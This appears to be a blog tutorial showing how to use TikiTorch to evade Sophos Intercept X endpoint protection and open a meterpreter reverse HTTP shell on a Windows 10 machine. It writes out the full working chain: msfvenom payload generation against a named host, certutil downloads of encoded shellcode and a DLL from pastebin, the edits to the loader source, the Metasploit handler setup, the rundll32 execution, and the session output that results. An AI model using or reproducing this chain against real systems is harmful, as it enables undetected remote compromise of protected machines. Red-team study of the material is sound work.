A quick practical demonstration of using Rastamouse’s TikiTorch to bypass Endpoint protection, in this case a trial version of Sophos Intercept X (“Now with EDR”). For this demo we’ll be trying to run a 64 bit staged meterpreter reverse shell on a Windows 10 target.
Before we start, we’ll try to do it the old way to see how far we can get. Let’s generate a windows binary, download it using a browser and run it.
Generate our binary:
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f exe > rs.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 605 bytes Final size of exe file: 7168 bytes
These days, this is is a well recognised binary:
We spin up a web server:
root@kali:~# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...
And download http://ahost.rythmstick.net/rs.exe in our browser. If you’re lucky enough to get it through your proxy server, Sophos Web Protection recognises it as malicious:
Rather than obfuscate the code we’ll download it outside the browser. We’ll use a much underrated native windows binary, CERTUTIL.EXE (shout out to Lolbas).
C:\Users\Me> certutil -urlcache -split -f http://ahost.rythmstick.net/rs.exe **** Online **** 000000 ... 034400 CertUtil: -URLCache command completed successfully.
The binary gets downloaded but is immediately dealt with by Sophos Endpoint when it lands on disk:
A look at Sophos’s threat analysis center gives some additonal details:
We could go through the long process of using different techniques to obfuscate the code, but instead we’ll use TikiTorch. TikiTorch hides our shellcode using process hollowing techniques to injest the code in a Windows binary of our choice.
Step 1 - Generate Shellcode
We’re using msfvenom in Kali 2018.4 to generate some staged reverse shell shellcode and base64 encode it - the format expected by TikiTorch. Oh, we’ll also have to gzip the shellcode since the latest mods to TikiTorch (although we don’t save alot of bytes gzip’ing a stager).
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f raw | gzip -f | base64 -w 0 > rs.txt [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 781 bytes
base64 -w 0 ensures that the base64 encoded shellcode is output in one long string and not wrapped
LHOST is where we'll run our multi handler
LPORT is the port we'll be listening on
Step 2 - Host our shellcode
We now need to host our shellcode somewhere. We could spin up a web server but we’re going to use this host to run our handler. If the target has tight Egress controls in place we may also be limited by ports. Instead we’ll use PasteBin. We’ll copy the contents of rs.txt in a new paste. Make a note of the raw URL for this paste, in our case it’s https://pastebin.com/raw/Zd5hmeUL.
Make sure we can access this URL on our target.
Step 3 - Recompile TikiThings.dll
Clone the TikiTorch Repo. We’ll need to amend 2 strings in TikiThings\Program.cs, binary and url, as follows::
string binary = @"c:\\windows\\system32\\calc.exe"; string url = @"https://pastebin.com/raw/Zd5hmeU";
Next we need to re-compile, which should generate an updated TikiThings.dll. I used Microsoft Visual Studio Community 2017.
Step 4 - Download TikiThings to target
Download your re-compiled TikiThings.dll to the target. If your target’s web filter objects to downloading a DLL file, try encoding it.
Once compiled, Base64 encode TikiThings.dll:
C:\> certutil -encode TikiThings.dll TikiThings.enc
Upload the encoded file where it can be downloaded. We’ll use pastebin again. Copy the contents of TikiThings.enc into a new paste, in our case https://pastebin.com/raw/SAeR96bC.
Download the encoded file onto target and decode it back to DLL.
C:\> certutil -urlcache -split -f https://pastebin.com/raw/SAeR96bC TikiThings.enc C:\> certutil -decode TikiThings.enc TikiThings.dll
Step 5 - Start a Multi Handler
Run a Metasploit multi handler to catch our meterpreter reverse http shell.
root@localhost:~# msfconsole -q msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http payload => windows/meterpreter_reverse_http msf5 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf5 exploit(multi/handler) > set LPORT 80 LPORT => 80 msf5 exploit(multi/handler) > run [*] Started HTTP reverse handler on http://0.0.0.0:80
Step 6 - Execute our payload
C:\Users\Me> rundll32 TikiThings.dll,EntryPoint
We now get a reverse http meterpreter shell on our target (not a peep from our EDR solution):
[*] Started HTTP reverse handler on http://0.0.0.0:80 msf5 exploit(multi/handler) > [*] http://0.0.0.0:80 handling request from x.x.x.x; (UUID: ivbuf5og) Staging x64 payload (207449 bytes) ... [*] Meterpreter session 1 opened (220.127.116.11:80 -> x.x.x.x:51614) at 2019-03-25 20:44:26 +0000 msf5 exploit(multi/handler) > sysinfo meterpreter > sysinfo Computer : DESKTOP-RF1LQOM OS : Windows 10 (Build 17134). Architecture : x64 System Language : en_GB Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
If we check out the connections established to our handler, we see a process with PID 4436.
C:\Users\Me> netstat -ano | find "18.104.22.168" TCP 10.0.2.15:56328 22.214.171.124:80 ESTABLISHED 4436
Which happens to be the binary we set in TikiThings.dll:
TikiTorch has a number of other assemblies. Check out the GitHub Repo for more details.
comments powered by Disqus